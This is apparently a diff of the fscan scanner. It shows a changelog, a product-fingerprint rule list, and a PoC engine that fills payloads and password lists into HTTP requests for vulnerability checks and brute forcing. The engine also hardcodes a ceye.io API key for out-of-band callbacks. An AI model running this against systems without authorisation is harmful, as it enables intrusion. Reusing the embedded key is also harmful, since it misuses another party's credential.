[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
|
||||
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml
|
||||
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
|
||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
|
||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
|
||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
|
||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
|
||||
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
|
||||
https://github.com/k8gege/LadonGo
|
||||
@@ -1,69 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type CheckDatas struct {
|
||||
Body []byte
|
||||
Headers string
|
||||
}
|
||||
|
||||
func InfoCheck(Url string, CheckData []CheckDatas) {
|
||||
var matched bool
|
||||
var infoname []string
|
||||
|
||||
for _, data := range CheckData {
|
||||
for _, rule := range info.RuleDatas {
|
||||
if rule.Type == "code" {
|
||||
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
|
||||
} else {
|
||||
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
|
||||
}
|
||||
if matched == true {
|
||||
infoname = append(infoname, rule.Name)
|
||||
}
|
||||
}
|
||||
flag, name := CalcMd5(data.Body)
|
||||
|
||||
if flag == true {
|
||||
infoname = append(infoname, name)
|
||||
}
|
||||
}
|
||||
|
||||
infostr := RemoveMore(infoname)
|
||||
|
||||
if len(infoname) > 0 {
|
||||
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
func CalcMd5(Body []byte) (bool, string) {
|
||||
has := md5.Sum(Body)
|
||||
md5str := fmt.Sprintf("%x", has)
|
||||
for _, md5data := range info.Md5Datas {
|
||||
if md5str == md5data.Md5Str {
|
||||
return true, md5data.Name
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func RemoveMore(a []string) (infostr string) {
|
||||
var ret []string
|
||||
for i := 0; i < len(a); i++ {
|
||||
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
|
||||
continue
|
||||
}
|
||||
ret = append(ret, a[i])
|
||||
}
|
||||
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
|
||||
infostr = strings.ReplaceAll(infostr, "]", "")
|
||||
return
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"log"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
//go:embed pocs
|
||||
var Pocs embed.FS
|
||||
|
||||
func WebScan(info *common.HostInfo) {
|
||||
var pocinfo = common.Pocinfo
|
||||
pocinfo.Target = info.Url
|
||||
err := Execute(pocinfo)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
|
||||
func Execute(PocInfo common.PocInfo) error {
|
||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
if PocInfo.Cookie != "" {
|
||||
req.Header.Set("Cookie", PocInfo.Cookie)
|
||||
}
|
||||
|
||||
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
|
||||
return nil
|
||||
}
|
||||
|
||||
func Inithttp(PocInfo common.PocInfo) {
|
||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
||||
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
@@ -1,152 +0,0 @@
|
||||
package info
|
||||
|
||||
type RuleData struct {
|
||||
Name string
|
||||
Type string
|
||||
Rule string
|
||||
}
|
||||
|
||||
type Md5Data struct {
|
||||
Name string
|
||||
Md5Str string
|
||||
}
|
||||
|
||||
var RuleDatas = []RuleData{
|
||||
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
|
||||
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
|
||||
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
|
||||
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
|
||||
{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
|
||||
{"Nexus", "code", "(Nexus Repository Manager)"},
|
||||
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
|
||||
{"Harbor", "code", "(<title>Harbor</title>)"},
|
||||
{"Harbor", "cookie", "(harbor-lang)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
|
||||
{"禅道", "cookie", "(zentaosid)"},
|
||||
{"协众OA", "code", "(Powered by 协众OA)"},
|
||||
{"协众OA", "cookie", "(CNOAOASESSID)"},
|
||||
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
|
||||
{"atmail-WebMail", "cookie", "(atmail6)"},
|
||||
{"atmail-WebMail", "code", "(Powered by Atmail)"},
|
||||
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
|
||||
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
|
||||
{"致远OA", "code", "(/seeyon/common/)"},
|
||||
{"discuz", "code", "(content=\"Discuz! X\")"},
|
||||
{"Typecho", "code", "(Typecho</a>)"},
|
||||
{"金蝶EAS", "code", "(easSessionId)"},
|
||||
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
|
||||
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
|
||||
{"H3C-AM8000", "code", "(AM8000)"},
|
||||
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
|
||||
{"H3C公司产品", "code", "([email protected])"},
|
||||
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
|
||||
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
|
||||
{"H3C ER5100", "code", "(ER5100系统管理)"},
|
||||
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
|
||||
{"CISCO_EPC3925", "code", "(Docsis_system)"},
|
||||
{"CISCO ASR", "code", "(CISCO ASR)"},
|
||||
{"H3C ER3200", "code", "(ER3200系统管理)"},
|
||||
{"万户ezOFFICE", "headers", "(LocLan)"},
|
||||
{"万户网络", "code", "(css/css_whir.css)"},
|
||||
{"Spark_Master", "code", "(Spark Master at)"},
|
||||
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
|
||||
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
|
||||
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
|
||||
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
|
||||
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
|
||||
{"360主机卫士", "headers", "(zhuji.360.cn)"},
|
||||
{"Nagios", "headers", "(Nagios Access)"},
|
||||
{"H3C ER8300", "code", "(ER8300系统管理)"},
|
||||
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
|
||||
{"华为 MCU", "code", "(McuR5-min.js)"},
|
||||
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
|
||||
{"泛微OA", "headers", "(ecology_JSessionid)"},
|
||||
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
|
||||
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
|
||||
{"360网站卫士", "code", "(360wzb)"},
|
||||
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
|
||||
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
|
||||
{"zabbix", "cookie", "(zbx_sessionid)"},
|
||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
|
||||
{"CISCO_VPN", "headers", "(webvpn)"},
|
||||
{"360站长平台", "code", "(360-site-verification)"},
|
||||
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
|
||||
{"o2security_vpn", "headers", "(client_param=install_active)"},
|
||||
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
|
||||
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
|
||||
{"CISCO-CX20", "code", "(CISCO-CX20)"},
|
||||
{"H3C ER5200", "code", "(ER5200系统管理)"},
|
||||
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
|
||||
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
|
||||
{"H3C ER3100", "code", "(ER3100系统管理)"},
|
||||
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
|
||||
{"360webfacil_360WebManager", "code", "(publico/template/)"},
|
||||
{"Citrix_Netscaler", "code", "(ns_af)"},
|
||||
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
|
||||
{"H3C ER3260", "code", "(ER3260系统管理)"},
|
||||
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
|
||||
{"exchange", "code", "(/owa/auth.owa)"},
|
||||
{"Spark_Worker", "code", "(Spark Worker at)"},
|
||||
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
|
||||
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
|
||||
{"Citrix-ConfProxy", "code", "(confproxy)"},
|
||||
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
|
||||
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
|
||||
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
|
||||
{"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
|
||||
{"H3C ER6300", "code", "(ER6300系统管理)"},
|
||||
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
|
||||
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
|
||||
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
|
||||
{"H3C ER2100", "code", "(ER2100系统管理)"},
|
||||
{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
|
||||
{"jira", "code", "(jira.webresources)"},
|
||||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico)"},
|
||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
||||
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
|
||||
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
|
||||
{"Jboss", "headers", "(JBoss)"},
|
||||
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
|
||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
|
||||
{"ThinkPHP", "headers", "(ThinkPHP)"},
|
||||
{"ThinkPHP", "code", "(/Public/static/js/)"},
|
||||
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
|
||||
{"Laravel", "headers", "(laravel_session)"},
|
||||
{"DWR", "code", "(dwr/engine.js)"},
|
||||
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
|
||||
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
|
||||
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
|
||||
{"Jenkins", "code", "(Jenkins)"},
|
||||
{"红帆OA", "code", "(iOffice)"},
|
||||
{"VMware vSphere", "code", "(VMware vSphere)"},
|
||||
{"打印机", "code", "(打印机|media/canon.gif)"},
|
||||
}
|
||||
|
||||
var Md5Datas = []Md5Data{
|
||||
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
|
||||
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
|
||||
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
|
||||
{"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"},
|
||||
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
|
||||
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
|
||||
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
|
||||
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
|
||||
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
|
||||
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
|
||||
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
|
||||
{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
|
||||
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
|
||||
{"通达OA", "ed0044587917c76d08573577c8b72883"},
|
||||
{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
|
||||
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
|
||||
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
|
||||
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
|
||||
}
|
||||
@@ -1,687 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
|
||||
ceyeDomain = "7wtusr.ceye.io"
|
||||
)
|
||||
|
||||
type Task struct {
|
||||
Req *http.Request
|
||||
Poc *Poc
|
||||
}
|
||||
|
||||
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
|
||||
tasks := make(chan Task)
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
wg.Add(1)
|
||||
for task := range tasks {
|
||||
isVul, err := executePoc(task.Req, task.Poc)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if isVul {
|
||||
result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
}()
|
||||
}
|
||||
for _, poc := range LoadMultiPoc(Pocs, pocname) {
|
||||
task := Task{
|
||||
Req: req,
|
||||
Poc: poc,
|
||||
}
|
||||
tasks <- task
|
||||
}
|
||||
close(tasks)
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
||||
c := NewEnvOption()
|
||||
c.UpdateCompileOptions(p.Set)
|
||||
if len(p.Sets) > 0 {
|
||||
setMap := make(map[string]string)
|
||||
for k := range p.Sets {
|
||||
setMap[k] = p.Sets[k][0]
|
||||
}
|
||||
c.UpdateCompileOptions(setMap)
|
||||
}
|
||||
env, err := NewEnv(&c)
|
||||
if err != nil {
|
||||
//fmt.Printf("environment creation error: %s\n", err)
|
||||
return false, err
|
||||
}
|
||||
req, err := ParseRequest(oReq)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
return false, err
|
||||
}
|
||||
variableMap := make(map[string]interface{})
|
||||
variableMap["request"] = req
|
||||
|
||||
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
|
||||
keys := make([]string, 0)
|
||||
for k := range p.Set {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
for _, k := range keys {
|
||||
expression := p.Set[k]
|
||||
if k != "payload" {
|
||||
if expression == "newReverse()" {
|
||||
variableMap[k] = newReverse()
|
||||
continue
|
||||
}
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
variableMap[k] = expression
|
||||
continue
|
||||
}
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = int(value)
|
||||
case []uint8:
|
||||
variableMap[k] = fmt.Sprintf("%s", out)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if p.Set["payload"] != "" {
|
||||
out, err := Evaluate(env, p.Set["payload"], variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["payload"] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
|
||||
setslen := 0
|
||||
haspayload := false
|
||||
var setskeys []string
|
||||
if len(p.Sets) > 0 {
|
||||
for _, rule := range p.Rules {
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
haspayload = true
|
||||
}
|
||||
setslen++
|
||||
setskeys = append(setskeys, k)
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
haspayload = true
|
||||
}
|
||||
setslen++
|
||||
setskeys = append(setskeys, k)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
success := false
|
||||
if setslen > 0 {
|
||||
if haspayload {
|
||||
success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys)
|
||||
} else {
|
||||
success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys)
|
||||
}
|
||||
} else {
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
|
||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range rule.Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["response"] = resp
|
||||
// 先判断响应页面是否匹配search规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
|
||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
//return false, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
||||
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
break
|
||||
}
|
||||
success = true
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func doSearch(re string, body string) map[string]string {
|
||||
r, err := regexp.Compile(re)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
result := r.FindStringSubmatch(body)
|
||||
names := r.SubexpNames()
|
||||
if len(result) > 1 && len(names) > 1 {
|
||||
paramsMap := make(map[string]string)
|
||||
for i, name := range names {
|
||||
if i > 0 && i <= len(result) {
|
||||
paramsMap[name] = result[i]
|
||||
}
|
||||
}
|
||||
return paramsMap
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func newReverse() *Reverse {
|
||||
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
sub := RandomStr(randSource, letters, 8)
|
||||
if true {
|
||||
//默认不开启dns解析
|
||||
return &Reverse{}
|
||||
}
|
||||
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
|
||||
u, _ := url.Parse(urlStr)
|
||||
return &Reverse{
|
||||
Url: ParseUrl(u),
|
||||
Domain: u.Hostname(),
|
||||
Ip: "",
|
||||
IsDomainNameServer: false,
|
||||
}
|
||||
}
|
||||
|
||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) {
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
if IsContain(keys, k1) {
|
||||
continue
|
||||
}
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
n := 0
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
n++
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
n++
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if slen == 1 {
|
||||
look1:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look1
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if slen == 2 {
|
||||
look2:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look2
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if slen == 3 {
|
||||
look3:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
for _, var3 := range p.Sets[keys[2]] {
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look3
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) {
|
||||
setMap := make(map[string]interface{})
|
||||
for k := range p.Sets {
|
||||
setMap[k] = p.Sets[k][0]
|
||||
}
|
||||
setMapbak := cloneMap1(setMap)
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
if IsContain(keys, k1) {
|
||||
continue
|
||||
}
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
varset := []string{}
|
||||
varpay := []string{}
|
||||
n := 0
|
||||
for k := range p.Sets {
|
||||
// 1. 如果rule中需要修改 {{k}} 如username、payload
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
varpay = append(varpay, k)
|
||||
